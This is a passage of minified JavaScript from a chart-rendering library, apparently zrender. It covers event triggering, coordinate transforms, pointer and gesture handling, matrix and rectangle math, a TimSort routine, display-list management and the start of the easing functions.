r=[],i=0,a=n[e].length;i<a;i++)n[e][i].h!==t&&r.push(n[e][i]);n[e]=r}n[e]&&n[e].length===0&&delete n[e]}else delete n[e];return this},e.prototype.trigger=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];if(!this._$handlers)return this;var r=this._$handlers[e],i=this._$eventProcessor;if(r)for(var a=t.length,o=r.length,s=0;s<o;s++){var c=r[s];if(!(i&&i.filter&&c.query!=null&&!i.filter(e,c.query)))switch(a){case 0:c.h.call(c.ctx);break;case 1:c.h.call(c.ctx,t[0]);break;case 2:c.h.call(c.ctx,t[0],t[1]);break;default:c.h.apply(c.ctx,t);break}}return i&&i.afterTrigger&&i.afterTrigger(e),this},e.prototype.triggerWithContext=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];if(!this._$handlers)return this;var r=this._$handlers[e],i=this._$eventProcessor;if(r)for(var a=t.length,o=t[a-1],s=r.length,c=0;c<s;c++){var l=r[c];if(!(i&&i.filter&&l.query!=null&&!i.filter(e,l.query)))switch(a){case 0:l.h.call(o);break;case 1:l.h.call(o,t[0]);break;case 2:l.h.call(o,t[0],t[1]);break;default:l.h.apply(o,t.slice(1,a-1));break}}return i&&i.afterTrigger&&i.afterTrigger(e),this},e}(),un=Math.log(2);function dn(e,t,n,r,i,a){var o=r+`-`+i,s=e.length;if(a.hasOwnProperty(o))return a[o];if(t===1){var c=Math.round(Math.log((1<<s)-1&~i)/un);return e[n][c]}for(var l=r|1<<n,u=n+1;r&1<<u;)u++;for(var d=0,f=0,p=0;f<s;f++){var m=1<<f;m&i||(d+=(p%2?-1:1)*e[n][f]*dn(e,t-1,u,l,i|m,a),p++)}return a[o]=d,d}function fn(e,t){var n=[[e[0],e[1],1,0,0,0,-t[0]*e[0],-t[0]*e[1]],[0,0,0,e[0],e[1],1,-t[1]*e[0],-t[1]*e[1]],[e[2],e[3],1,0,0,0,-t[2]*e[2],-t[2]*e[3]],[0,0,0,e[2],e[3],1,-t[3]*e[2],-t[3]*e[3]],[e[4],e[5],1,0,0,0,-t[4]*e[4],-t[4]*e[5]],[0,0,0,e[4],e[5],1,-t[5]*e[4],-t[5]*e[5]],[e[6],e[7],1,0,0,0,-t[6]*e[6],-t[6]*e[7]],[0,0,0,e[6],e[7],1,-t[7]*e[6],-t[7]*e[7]]],r={},i=dn(n,8,0,0,0,r);if(i!==0){for(var a=[],o=0;o<8;o++)for(var s=0;s<8;s++)a[s]??(a[s]=0),a[s]+=((o+s)%2?-1:1)*dn(n,7,+(o===0),1<<o,1<<s,r)/i*t[o];return function(e,t,n){var r=t*a[6]+n*a[7]+1;e[0]=(t*a[0]+n*a[1]+a[2])/r,e[1]=(t*a[3]+n*a[4]+a[5])/r}}}var pn=`___zrEVENTSAVED`,mn=[];function hn(e,t,n,r,i){return _n(mn,t,r,i,!0)&&_n(e,n,mn[0],mn[1])}function gn(e,t){e&&n(e),t&&n(t);function n(e){var t=e[pn];t&&(t.clearMarkers&&t.clearMarkers(),delete e[pn])}}function _n(e,t,n,r,i){if(t.getBoundingClientRect&&Ne.domSupported&&!bn(t)){var a=t[pn]||(t[pn]={}),o=yn(vn(t,a),a,i);if(o)return o(e,n,r),!0}return!1}function vn(e,t){var n=t.markers;if(n)return n;n=t.markers=[];for(var r=[`left`,`right`],i=[`top`,`bottom`],a=0;a<4;a++){var o=document.createElement(`div`),s=o.style,c=a%2,l=(a>>1)%2;s.cssText=[`position: absolute`,`visibility: hidden`,`padding: 0`,`margin: 0`,`border-width: 0`,`user-select: none`,`width:0`,`height:0`,r[c]+`:0`,i[l]+`:0`,r[1-c]+`:auto`,i[1-l]+`:auto`,``].join(`!important;`),e.appendChild(o),n.push(o)}return t.clearMarkers=function(){L(n,function(e){e.parentNode&&e.parentNode.removeChild(e)})},n}function yn(e,t,n){for(var r=n?`invTrans`:`trans`,i=t[r],a=t.srcCoords,o=[],s=[],c=!0,l=0;l<4;l++){var u=e[l].getBoundingClientRect(),d=2*l,f=u.left,p=u.top;o.push(f,p),c=c&&a&&f===a[d]&&p===a[d+1],s.push(e[l].offsetLeft,e[l].offsetTop)}return c&&i?i:(t.srcCoords=o,t[r]=n?fn(s,o):fn(o,s))}function bn(e){return e.nodeName.toUpperCase()===`CANVAS`}var xn=/([&<>"'])/g,Sn={"&":`&amp;`,"<":`&lt;`,">":`&gt;`,'"':`&quot;`,"'":`&#39;`};function Cn(e){return e==null?``:(e+``).replace(xn,function(e,t){return Sn[t]})}var wn=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Tn=[],En=Ne.browser.firefox&&+Ne.browser.version.split(`.`)[0]<39;function Dn(e,t,n,r){return n||={},r?On(e,t,n):En&&t.layerX!=null&&t.layerX!==t.offsetX?(n.zrX=t.layerX,n.zrY=t.layerY):t.offsetX==null?On(e,t,n):(n.zrX=t.offsetX,n.zrY=t.offsetY),n}function On(e,t,n){if(Ne.domSupported&&e.getBoundingClientRect){var r=t.clientX,i=t.clientY;if(bn(e)){var a=e.getBoundingClientRect();n.zrX=r-a.left,n.zrY=i-a.top;return}else if(_n(Tn,e,r,i)){n.zrX=Tn[0],n.zrY=Tn[1];return}}n.zrX=n.zrY=0}function kn(e){return e||window.event}function An(e,t,n){if(t=kn(t),t.zrX!=null)return t;var r=t.type;if(r&&r.indexOf(`touch`)>=0){var i=r===`touchend`?t.changedTouches[0]:t.targetTouches[0];i&&Dn(e,i,t,n)}else{Dn(e,t,t,n);var a=jn(t);t.zrDelta=a?a/120:-(t.detail||0)/3}var o=t.button;return t.which==null&&o!==void 0&&wn.test(t.type)&&(t.which=o&1?1:o&2?3:o&4?2:0),t}function jn(e){var t=e.wheelDelta;if(t)return t;var n=e.deltaX,r=e.deltaY;if(n==null||r==null)return t;var i=Math.abs(r===0?n:r),a=r>0?-1:r<0?1:n>0?-1:1;return 3*i*a}function Mn(e,t,n,r){e.addEventListener(t,n,r)}function Nn(e,t,n,r){e.removeEventListener(t,n,r)}var Pn=function(e){e.preventDefault(),e.stopPropagation(),e.cancelBubble=!0};function Fn(e){return e.which===2||e.which===3}var In=function(){function e(){this._track=[]}return e.prototype.recognize=function(e,t,n){return this._doTrack(e,t,n),this._recognize(e)},e.prototype.clear=function(){return this._track.length=0,this},e.prototype._doTrack=function(e,t,n){var r=e.touches;if(r){for(var i={points:[],touches:[],target:t,event:e},a=0,o=r.length;a<o;a++){var s=r[a],c=Dn(n,s,{});i.points.push([c.zrX,c.zrY]),i.touches.push(s)}this._track.push(i)}},e.prototype._recognize=function(e){for(var t in zn)if(zn.hasOwnProperty(t)){var n=zn[t](this._track,e);if(n)return n}},e}();function Ln(e){var t=e[1][0]-e[0][0],n=e[1][1]-e[0][1];return Math.sqrt(t*t+n*n)}function Rn(e){return[(e[0][0]+e[1][0])/2,(e[0][1]+e[1][1])/2]}var zn={pinch:function(e,t){var n=e.length;if(n){var r=(e[n-1]||{}).points,i=(e[n-2]||{}).points||r;if(i&&i.length>1&&r&&r.length>1){var a=Ln(r)/Ln(i);!isFinite(a)&&(a=1),t.pinchScale=a;var o=Rn(r);return t.pinchX=o[0],t.pinchY=o[1],{type:`pinch`,target:e[0].target,event:t}}}}};function Bn(){return[1,0,0,1,0,0]}function Vn(e){return e[0]=1,e[1]=0,e[2]=0,e[3]=1,e[4]=0,e[5]=0,e}function Hn(e,t){return e[0]=t[0],e[1]=t[1],e[2]=t[2],e[3]=t[3],e[4]=t[4],e[5]=t[5],e}function Un(e,t,n){var r=t[0]*n[0]+t[2]*n[1],i=t[1]*n[0]+t[3]*n[1],a=t[0]*n[2]+t[2]*n[3],o=t[1]*n[2]+t[3]*n[3],s=t[0]*n[4]+t[2]*n[5]+t[4],c=t[1]*n[4]+t[3]*n[5]+t[5];return e[0]=r,e[1]=i,e[2]=a,e[3]=o,e[4]=s,e[5]=c,e}function Wn(e,t,n){return e[0]=t[0],e[1]=t[1],e[2]=t[2],e[3]=t[3],e[4]=t[4]+n[0],e[5]=t[5]+n[1],e}function Gn(e,t,n,r){r===void 0&&(r=[0,0]);var i=t[0],a=t[2],o=t[4],s=t[1],c=t[3],l=t[5],u=Math.sin(n),d=Math.cos(n);return e[0]=i*d+s*u,e[1]=-i*u+s*d,e[2]=a*d+c*u,e[3]=-a*u+d*c,e[4]=d*(o-r[0])+u*(l-r[1])+r[0],e[5]=d*(l-r[1])-u*(o-r[0])+r[1],e}function Kn(e,t,n){var r=n[0],i=n[1];return e[0]=t[0]*r,e[1]=t[1]*i,e[2]=t[2]*r,e[3]=t[3]*i,e[4]=t[4]*r,e[5]=t[5]*i,e}function qn(e,t){var n=t[0],r=t[2],i=t[4],a=t[1],o=t[3],s=t[5],c=n*o-a*r;return c?(c=1/c,e[0]=o*c,e[1]=-a*c,e[2]=-r*c,e[3]=n*c,e[4]=(r*s-o*i)*c,e[5]=(a*i-n*s)*c,e):null}function Jn(e){var t=Bn();return Hn(t,e),t}var q=function(){function e(e,t){this.x=e||0,this.y=t||0}return e.prototype.copy=function(e){return this.x=e.x,this.y=e.y,this},e.prototype.clone=function(){return new e(this.x,this.y)},e.prototype.set=function(e,t){return this.x=e,this.y=t,this},e.prototype.equal=function(e){return e.x===this.x&&e.y===this.y},e.prototype.add=function(e){return this.x+=e.x,this.y+=e.y,this},e.prototype.scale=function(e){this.x*=e,this.y*=e},e.prototype.scaleAndAdd=function(e,t){this.x+=e.x*t,this.y+=e.y*t},e.prototype.sub=function(e){return this.x-=e.x,this.y-=e.y,this},e.prototype.dot=function(e){return this.x*e.x+this.y*e.y},e.prototype.len=function(){return Math.sqrt(this.x*this.x+this.y*this.y)},e.prototype.lenSquare=function(){return this.x*this.x+this.y*this.y},e.prototype.normalize=function(){var e=this.len();return this.x/=e,this.y/=e,this},e.prototype.distance=function(e){var t=this.x-e.x,n=this.y-e.y;return Math.sqrt(t*t+n*n)},e.prototype.distanceSquare=function(e){var t=this.x-e.x,n=this.y-e.y;return t*t+n*n},e.prototype.negate=function(){return this.x=-this.x,this.y=-this.y,this},e.prototype.transform=function(e){if(e){var t=this.x,n=this.y;return this.x=e[0]*t+e[2]*n+e[4],this.y=e[1]*t+e[3]*n+e[5],this}},e.prototype.toArray=function(e){return e[0]=this.x,e[1]=this.y,e},e.prototype.fromArray=function(e){this.x=e[0],this.y=e[1]},e.set=function(e,t,n){e.x=t,e.y=n},e.copy=function(e,t){e.x=t.x,e.y=t.y},e.len=function(e){return Math.sqrt(e.x*e.x+e.y*e.y)},e.lenSquare=function(e){return e.x*e.x+e.y*e.y},e.dot=function(e,t){return e.x*t.x+e.y*t.y},e.add=function(e,t,n){e.x=t.x+n.x,e.y=t.y+n.y},e.sub=function(e,t,n){e.x=t.x-n.x,e.y=t.y-n.y},e.scale=function(e,t,n){e.x=t.x*n,e.y=t.y*n},e.scaleAndAdd=function(e,t,n,r){e.x=t.x+n.x*r,e.y=t.y+n.y*r},e.lerp=function(e,t,n,r){var i=1-r;e.x=i*t.x+r*n.x,e.y=i*t.y+r*n.y},e}(),Yn=Math.min,Xn=Math.max,Zn=Math.abs,Qn=[`x`,`y`],$n=[`width`,`height`],er=new q,tr=new q,nr=new q,rr=new q,ir=dr(),ar=ir.minTv,or=ir.maxTv,sr=[0,0],J=function(){function e(t,n,r,i){e.set(this,t,n,r,i)}return e.set=function(e,t,n,r,i){return r<0&&(t+=r,r=-r),i<0&&(n+=i,i=-i),e.x=t,e.y=n,e.width=r,e.height=i,e},e.prototype.union=function(e){var t=Yn(e.x,this.x),n=Yn(e.y,this.y);isFinite(this.x)&&isFinite(this.width)?this.width=Xn(e.x+e.width,this.x+this.width)-t:this.width=e.width,isFinite(this.y)&&isFinite(this.height)?this.height=Xn(e.y+e.height,this.y+this.height)-n:this.height=e.height,this.x=t,this.y=n},e.prototype.applyTransform=function(t){e.applyTransform(this,this,t)},e.prototype.calculateTransform=function(e){var t=this,n=e.width/t.width,r=e.height/t.height,i=Bn();return Wn(i,i,[-t.x,-t.y]),Kn(i,i,[n,r]),Wn(i,i,[e.x,e.y]),i},e.prototype.intersect=function(t,n,r){return e.intersect(this,t,n,r)},e.intersect=function(t,n,r,i){r&&q.set(r,0,0);var a=i&&i.outIntersectRect||null,o=i&&i.clamp;if(a&&(a.x=a.y=a.width=a.height=NaN),!t||!n)return!1;t instanceof e||(t=e.set(cr,t.x,t.y,t.width,t.height)),n instanceof e||(n=e.set(lr,n.x,n.y,n.width,n.height));var s=!!r;ir.reset(i,s);var c=ir.touchThreshold,l=t.x+c,u=t.x+t.width-c,d=t.y+c,f=t.y+t.height-c,p=n.x+c,m=n.x+n.width-c,h=n.y+c,g=n.y+n.height-c;if(l>u||d>f||p>m||h>g)return!1;var _=!(u<p||m<l||f<h||g<d);return(s||a)&&(sr[0]=1/0,sr[1]=0,ur(l,u,p,m,0,s,a,o),ur(d,f,h,g,1,s,a,o),s&&q.copy(r,_?ir.useDir?ir.dirMinTv:ar:or)),_},e.contain=function(e,t,n){return t>=e.x&&t<=e.x+e.width&&n>=e.y&&n<=e.y+e.height},e.prototype.contain=function(t,n){return e.contain(this,t,n)},e.prototype.clone=function(){return new e(this.x,this.y,this.width,this.height)},e.prototype.copy=function(t){e.copy(this,t)},e.prototype.plain=function(){return{x:this.x,y:this.y,width:this.width,height:this.height}},e.prototype.isFinite=function(){return isFinite(this.x)&&isFinite(this.y)&&isFinite(this.width)&&isFinite(this.height)},e.prototype.isZero=function(){return this.width===0||this.height===0},e.create=function(t){return new e(t.x,t.y,t.width,t.height)},e.copy=function(e,t){return e.x=t.x,e.y=t.y,e.width=t.width,e.height=t.height,e},e.applyTransform=function(t,n,r){if(!r){t!==n&&e.copy(t,n);return}if(r[1]<1e-5&&r[1]>-1e-5&&r[2]<1e-5&&r[2]>-1e-5){var i=r[0],a=r[3],o=r[4],s=r[5];t.x=n.x*i+o,t.y=n.y*a+s,t.width=n.width*i,t.height=n.height*a,t.width<0&&(t.x+=t.width,t.width=-t.width),t.height<0&&(t.y+=t.height,t.height=-t.height);return}er.x=nr.x=n.x,er.y=rr.y=n.y,tr.x=rr.x=n.x+n.width,tr.y=nr.y=n.y+n.height,er.transform(r),rr.transform(r),tr.transform(r),nr.transform(r),t.x=Yn(er.x,tr.x,nr.x,rr.x),t.y=Yn(er.y,tr.y,nr.y,rr.y);var c=Xn(er.x,tr.x,nr.x,rr.x),l=Xn(er.y,tr.y,nr.y,rr.y);t.width=c-t.x,t.height=l-t.y},e}(),cr=new J(0,0,0,0),lr=new J(0,0,0,0);function ur(e,t,n,r,i,a,o,s){var c=Zn(t-n),l=Zn(r-e),u=Yn(c,l),d=Qn[i],f=Qn[1-i],p=$n[i];t<n||r<e?c<l?(a&&(or[d]=-c),s&&(o[d]=t,o[p]=0)):(a&&(or[d]=l),s&&(o[d]=e,o[p]=0)):(o&&(o[d]=Xn(e,n),o[p]=Yn(t,r)-o[d]),a&&(u<sr[0]||ir.useDir)&&(sr[0]=Yn(u,sr[0]),(c<l||!ir.bidirectional)&&(ar[d]=c,ar[f]=0,ir.useDir&&ir.calcDirMTV()),(c>=l||!ir.bidirectional)&&(ar[d]=-l,ar[f]=0,ir.useDir&&ir.calcDirMTV())))}function dr(){var e=0,t=new q,n=new q,r={minTv:new q,maxTv:new q,useDir:!1,dirMinTv:new q,touchThreshold:0,bidirectional:!0,negativeSize:!1,reset:function(i,a){r.touchThreshold=0,i&&i.touchThreshold!=null&&(r.touchThreshold=Xn(0,i.touchThreshold)),r.negativeSize=!1,a&&(r.minTv.set(1/0,1/0),r.maxTv.set(0,0),r.useDir=!1,i&&i.direction!=null&&(r.useDir=!0,r.dirMinTv.copy(r.minTv),n.copy(r.minTv),e=i.direction,r.bidirectional=i.bidirectional==null||!!i.bidirectional,r.bidirectional||t.set(Math.cos(e),Math.sin(e))))},calcDirMTV:function(){var a=r.minTv,o=r.dirMinTv,s=a.y*a.y+a.x*a.x,c=Math.sin(e),l=Math.cos(e),u=c*a.y+l*a.x;if(i(u)){i(a.x)&&i(a.y)&&o.set(0,0);return}if(n.x=s*l/u,n.y=s*c/u,i(n.x)&&i(n.y)){o.set(0,0);return}(r.bidirectional||t.dot(n)>0)&&n.len()<o.len()&&o.copy(n)}};function i(e){return Zn(e)<1e-10}return r}var fr=`silent`;function pr(e,t,n){return{type:e,event:n,target:t.target,topTarget:t.topTarget,cancelBubble:!1,offsetX:n.zrX,offsetY:n.zrY,gestureEvent:n.gestureEvent,pinchX:n.pinchX,pinchY:n.pinchY,pinchScale:n.pinchScale,wheelDelta:n.zrDelta,zrByTouch:n.zrByTouch,which:n.which,stop:mr}}function mr(){Pn(this.event)}var hr=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.handler=null,t}return t.prototype.dispose=function(){},t.prototype.setCursor=function(){},t}(ln),gr=function(){function e(e,t){this.x=e,this.y=t}return e}(),_r=[`click`,`dblclick`,`mousewheel`,`mouseout`,`mouseup`,`mousedown`,`mousemove`,`contextmenu`],vr=new J(0,0,0,0),yr=function(e){N(t,e);function t(t,n,r,i,a){var o=e.call(this)||this;return o._hovered=new gr(0,0),o.storage=t,o.painter=n,o.painterRoot=i,o._pointerSize=a,r||=new hr,o.proxy=null,o.setHandlerProxy(r),o._draggingMgr=new cn(o),o}return t.prototype.setHandlerProxy=function(e){this.proxy&&this.proxy.dispose(),e&&(L(_r,function(t){e.on&&e.on(t,this[t],this)},this),e.handler=this),this.proxy=e},t.prototype.mousemove=function(e){var t=e.zrX,n=e.zrY,r=Sr(this,t,n),i=this._hovered,a=i.target;a&&!a.__zr&&(i=this.findHover(i.x,i.y),a=i.target);var o=this._hovered=r?new gr(t,n):this.findHover(t,n),s=o.target,c=this.proxy;c.setCursor&&c.setCursor(s?s.cursor:`default`),a&&s!==a&&this.dispatchToElement(i,`mouseout`,e),this.dispatchToElement(o,`mousemove`,e),s&&s!==a&&this.dispatchToElement(o,`mouseover`,e)},t.prototype.mouseout=function(e){var t=e.zrEventControl;t!==`only_globalout`&&this.dispatchToElement(this._hovered,`mouseout`,e),t!==`no_globalout`&&this.trigger(`globalout`,{type:`globalout`,event:e})},t.prototype.resize=function(){this._hovered=new gr(0,0)},t.prototype.dispatch=function(e,t){var n=this[e];n&&n.call(this,t)},t.prototype.dispose=function(){this.proxy.dispose(),this.storage=null,this.proxy=null,this.painter=null},t.prototype.setCursorStyle=function(e){var t=this.proxy;t.setCursor&&t.setCursor(e)},t.prototype.dispatchToElement=function(e,t,n){e||={};var r=e.target;if(!(r&&r.silent)){for(var i=`on`+t,a=pr(t,e,n);r&&(r[i]&&(a.cancelBubble=!!r[i].call(r,a)),r.trigger(t,a),r=r.__hostTarget?r.__hostTarget:r.parent,!a.cancelBubble););a.cancelBubble||(this.trigger(t,a),this.painter&&this.painter.eachOtherLayer&&this.painter.eachOtherLayer(function(e){typeof e[i]==`function`&&e[i].call(e,a),e.trigger&&e.trigger(t,a)}))}},t.prototype.findHover=function(e,t,n){var r=this.storage.getDisplayList(),i=new gr(e,t);if(xr(r,i,e,t,n),this._pointerSize&&!i.target){for(var a=[],o=this._pointerSize,s=o/2,c=new J(e-s,t-s,o,o),l=r.length-1;l>=0;l--){var u=r[l];u!==n&&!u.ignore&&!u.ignoreCoarsePointer&&(!u.parent||!u.parent.ignoreCoarsePointer)&&(vr.copy(u.getBoundingRect()),u.transform&&vr.applyTransform(u.transform),vr.intersect(c)&&a.push(u))}if(a.length){for(var d=4,f=Math.PI/12,p=Math.PI*2,m=0;m<s;m+=d)for(var h=0;h<p;h+=f)if(xr(a,i,e+m*Math.cos(h),t+m*Math.sin(h),n),i.target)return i}}return i},t.prototype.processGesture=function(e,t){this._gestureMgr||=new In;var n=this._gestureMgr;t===`start`&&n.clear();var r=n.recognize(e,this.findHover(e.zrX,e.zrY,null).target,this.proxy.dom);if(t===`end`&&n.clear(),r){var i=r.type;e.gestureEvent=i;var a=new gr;a.target=r.target,this.dispatchToElement(a,i,r.event)}},t}(ln);L([`click`,`mousedown`,`mouseup`,`mousewheel`,`dblclick`,`contextmenu`],function(e){yr.prototype[e]=function(t){var n=t.zrX,r=t.zrY,i=Sr(this,n,r),a,o;if((e!==`mouseup`||!i)&&(a=this.findHover(n,r),o=a.target),e===`mousedown`)this._downEl=o,this._downPoint=[t.zrX,t.zrY],this._upEl=o;else if(e===`mouseup`)this._upEl=o;else if(e===`click`){if(this._downEl!==this._upEl||!this._downPoint||$t(this._downPoint,[t.zrX,t.zrY])>4)return;this._downPoint=null}this.dispatchToElement(a,e,t)}});function br(e,t,n){if(e[e.rectHover?`rectContain`:`contain`](t,n)){for(var r=e,i=void 0,a=!1;r;){if(r.ignoreClip&&(a=!0),!a){var o=r.getClipPath();if(o&&!o.contain(t,n))return!1}r.silent&&(i=!0);var s=r.__hostTarget;r=s?r.ignoreHostSilent?null:s:r.parent}return i?fr:!0}return!1}function xr(e,t,n,r,i){for(var a=e.length-1;a>=0;a--){var o=e[a],s=void 0;if(o!==i&&!o.ignore&&(s=br(o,n,r))&&(!t.topTarget&&(t.topTarget=o),s!==fr)){t.target=o;break}}}function Sr(e,t,n){var r=e.painter;return t<0||t>r.getWidth()||n<0||n>r.getHeight()}var Cr=32,wr=7;function Tr(e){for(var t=0;e>=Cr;)t|=e&1,e>>=1;return e+t}function Er(e,t,n,r){var i=t+1;if(i===n)return 1;if(r(e[i++],e[t])<0){for(;i<n&&r(e[i],e[i-1])<0;)i++;Dr(e,t,i)}else for(;i<n&&r(e[i],e[i-1])>=0;)i++;return i-t}function Dr(e,t,n){for(n--;t<n;){var r=e[t];e[t++]=e[n],e[n--]=r}}function Or(e,t,n,r,i){for(r===t&&r++;r<n;r++){for(var a=e[r],o=t,s=r,c;o<s;)c=o+s>>>1,i(a,e[c])<0?s=c:o=c+1;var l=r-o;switch(l){case 3:e[o+3]=e[o+2];case 2:e[o+2]=e[o+1];case 1:e[o+1]=e[o];break;default:for(;l>0;)e[o+l]=e[o+l-1],l--}e[o]=a}}function kr(e,t,n,r,i,a){var o=0,s=0,c=1;if(a(e,t[n+i])>0){for(s=r-i;c<s&&a(e,t[n+i+c])>0;)o=c,c=(c<<1)+1,c<=0&&(c=s);c>s&&(c=s),o+=i,c+=i}else{for(s=i+1;c<s&&a(e,t[n+i-c])<=0;)o=c,c=(c<<1)+1,c<=0&&(c=s);c>s&&(c=s);var l=o;o=i-c,c=i-l}for(o++;o<c;){var u=o+(c-o>>>1);a(e,t[n+u])>0?o=u+1:c=u}return c}function Ar(e,t,n,r,i,a){var o=0,s=0,c=1;if(a(e,t[n+i])<0){for(s=i+1;c<s&&a(e,t[n+i-c])<0;)o=c,c=(c<<1)+1,c<=0&&(c=s);c>s&&(c=s);var l=o;o=i-c,c=i-l}else{for(s=r-i;c<s&&a(e,t[n+i+c])>=0;)o=c,c=(c<<1)+1,c<=0&&(c=s);c>s&&(c=s),o+=i,c+=i}for(o++;o<c;){var u=o+(c-o>>>1);a(e,t[n+u])<0?c=u:o=u+1}return c}function jr(e,t){var n=wr,r,i,a=0,o=[];r=[],i=[];function s(e,t){r[a]=e,i[a]=t,a+=1}function c(){for(;a>1;){var e=a-2;if(e>=1&&i[e-1]<=i[e]+i[e+1]||e>=2&&i[e-2]<=i[e]+i[e-1])i[e-1]<i[e+1]&&e--;else if(i[e]>i[e+1])break;u(e)}}function l(){for(;a>1;){var e=a-2;e>0&&i[e-1]<i[e+1]&&e--,u(e)}}function u(n){var o=r[n],s=i[n],c=r[n+1],l=i[n+1];i[n]=s+l,n===a-3&&(r[n+1]=r[n+2],i[n+1]=i[n+2]),a--;var u=Ar(e[c],e,o,s,0,t);o+=u,s-=u,s!==0&&(l=kr(e[o+s-1],e,c,l,l-1,t),l!==0&&(s<=l?d(o,s,c,l):f(o,s,c,l)))}function d(r,i,a,s){var c=0;for(c=0;c<i;c++)o[c]=e[r+c];var l=0,u=a,d=r;if(e[d++]=e[u++],--s===0){for(c=0;c<i;c++)e[d+c]=o[l+c];return}if(i===1){for(c=0;c<s;c++)e[d+c]=e[u+c];e[d+s]=o[l];return}for(var f=n,p,m,h;;){p=0,m=0,h=!1;do if(t(e[u],o[l])<0){if(e[d++]=e[u++],m++,p=0,--s===0){h=!0;break}}else if(e[d++]=o[l++],p++,m=0,--i===1){h=!0;break}while((p|m)<f);if(h)break;do{if(p=Ar(e[u],o,l,i,0,t),p!==0){for(c=0;c<p;c++)e[d+c]=o[l+c];if(d+=p,l+=p,i-=p,i<=1){h=!0;break}}if(e[d++]=e[u++],--s===0){h=!0;break}if(m=kr(o[l],e,u,s,0,t),m!==0){for(c=0;c<m;c++)e[d+c]=e[u+c];if(d+=m,u+=m,s-=m,s===0){h=!0;break}}if(e[d++]=o[l++],--i===1){h=!0;break}f--}while(p>=wr||m>=wr);if(h)break;f<0&&(f=0),f+=2}if(n=f,n<1&&(n=1),i===1){for(c=0;c<s;c++)e[d+c]=e[u+c];e[d+s]=o[l]}else if(i===0)throw Error();else for(c=0;c<i;c++)e[d+c]=o[l+c]}function f(r,i,a,s){var c=0;for(c=0;c<s;c++)o[c]=e[a+c];var l=r+i-1,u=s-1,d=a+s-1,f=0,p=0;if(e[d--]=e[l--],--i===0){for(f=d-(s-1),c=0;c<s;c++)e[f+c]=o[c];return}if(s===1){for(d-=i,l-=i,p=d+1,f=l+1,c=i-1;c>=0;c--)e[p+c]=e[f+c];e[d]=o[u];return}for(var m=n;;){var h=0,g=0,_=!1;do if(t(o[u],e[l])<0){if(e[d--]=e[l--],h++,g=0,--i===0){_=!0;break}}else if(e[d--]=o[u--],g++,h=0,--s===1){_=!0;break}while((h|g)<m);if(_)break;do{if(h=i-Ar(o[u],e,r,i,i-1,t),h!==0){for(d-=h,l-=h,i-=h,p=d+1,f=l+1,c=h-1;c>=0;c--)e[p+c]=e[f+c];if(i===0){_=!0;break}}if(e[d--]=o[u--],--s===1){_=!0;break}if(g=s-kr(e[l],o,0,s,s-1,t),g!==0){for(d-=g,u-=g,s-=g,p=d+1,f=u+1,c=0;c<g;c++)e[p+c]=o[f+c];if(s<=1){_=!0;break}}if(e[d--]=e[l--],--i===0){_=!0;break}m--}while(h>=wr||g>=wr);if(_)break;m<0&&(m=0),m+=2}if(n=m,n<1&&(n=1),s===1){for(d-=i,l-=i,p=d+1,f=l+1,c=i-1;c>=0;c--)e[p+c]=e[f+c];e[d]=o[u]}else if(s===0)throw Error();else for(f=d-(s-1),c=0;c<s;c++)e[f+c]=o[c]}return{mergeRuns:c,forceMergeRuns:l,pushRun:s}}function Mr(e,t,n,r){n||=0,r||=e.length;var i=r-n;if(!(i<2)){var a=0;if(i<Cr){a=Er(e,n,r,t),Or(e,n,r,n+a,t);return}var o=jr(e,t),s=Tr(i);do{if(a=Er(e,n,r,t),a<s){var c=i;c>s&&(c=s),Or(e,n,n+c,n+a,t),a=c}o.pushRun(n,a),o.mergeRuns(),i-=a,n+=a}while(i!==0);o.forceMergeRuns()}}var Nr=!1;function Pr(){Nr||(Nr=!0,console.warn(`z / z2 / zlevel of displayable is invalid, which may cause unexpected errors`))}function Fr(e,t){return e.zlevel===t.zlevel?e.z===t.z?e.z2-t.z2:e.z-t.z:e.zlevel-t.zlevel}var Ir=function(){function e(){this._roots=[],this._displayList=[],this._displayListLen=0,this.displayableSortFunc=Fr}return e.prototype.traverse=function(e,t){for(var n=0;n<this._roots.length;n++)this._roots[n].traverse(e,t)},e.prototype.getDisplayList=function(e,t){t||=!1;var n=this._displayList;return(e||!n.length)&&this.updateDisplayList(t),n},e.prototype.updateDisplayList=function(e){this._displayListLen=0;for(var t=this._roots,n=this._displayList,r=0,i=t.length;r<i;r++)this._updateAndAddDisplayable(t[r],null,e);n.length=this._displayListLen,Mr(n,Fr)},e.prototype._updateAndAddDisplayable=function(e,t,n){if(!(e.ignore&&!n)){e.beforeUpdate(),e.update(),e.afterUpdate();var r=e.getClipPath(),i=t&&t.length,a=0,o=e.__clipPaths;if(!e.ignoreClip&&(i||r)){if(o||=e.__clipPaths=[],i)for(var s=0;s<t.length;s++)o[a++]=t[s];for(var c=r,l=e;c;)c.parent=l,c.updateTransform(),o[a++]=c,l=c,c=c.getClipPath()}if(o&&(o.length=a),e.childrenRef){for(var u=e.childrenRef(),d=0;d<u.length;d++){var f=u[d];e.__dirty&&(f.__dirty|=1),this._updateAndAddDisplayable(f,o,n)}e.__dirty=0}else{var p=e;isNaN(p.z)&&(Pr(),p.z=0),isNaN(p.z2)&&(Pr(),p.z2=0),isNaN(p.zlevel)&&(Pr(),p.zlevel=0),this._displayList[this._displayListLen++]=p}var m=e.getDecalElement&&e.getDecalElement();m&&this._updateAndAddDisplayable(m,o,n);var h=e.getTextGuideLine();h&&this._updateAndAddDisplayable(h,o,n);var g=e.getTextContent();g&&this._updateAndAddDisplayable(g,o,n)}},e.prototype.addRoot=function(e){e.__zr&&e.__zr.storage===this||this._roots.push(e)},e.prototype.delRoot=function(e){if(e instanceof Array){for(var t=0,n=e.length;t<n;t++)this.delRoot(e[t]);return}var r=it(this._roots,e);r>=0&&this._roots.splice(r,1)},e.prototype.delAllRoots=function(){this._roots=[],this._displayList=[],this._displayListLen=0},e.prototype.getRoots=function(){return this._roots},e.prototype.dispose=function(){this._displayList=null,this._roots=null},e}(),Lr=Ne.hasGlobalWindow&&(window.requestAnimationFrame&&window.requestAnimationFrame.bind(window)||window.msRequestAnimationFrame&&window.msRequestAnimationFrame.bind(window)||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame)||function(e){return setTimeout(e,16)},Rr={linear:function(e){return e},quadraticIn:function(e){return e*e},quadraticOut:function(e){return e*(2-e)},quadraticInOut:function(e){return(e*=2)<1?.5*e*e:-.5*(--e*(e-2)-1)},cubicIn:function(e){return 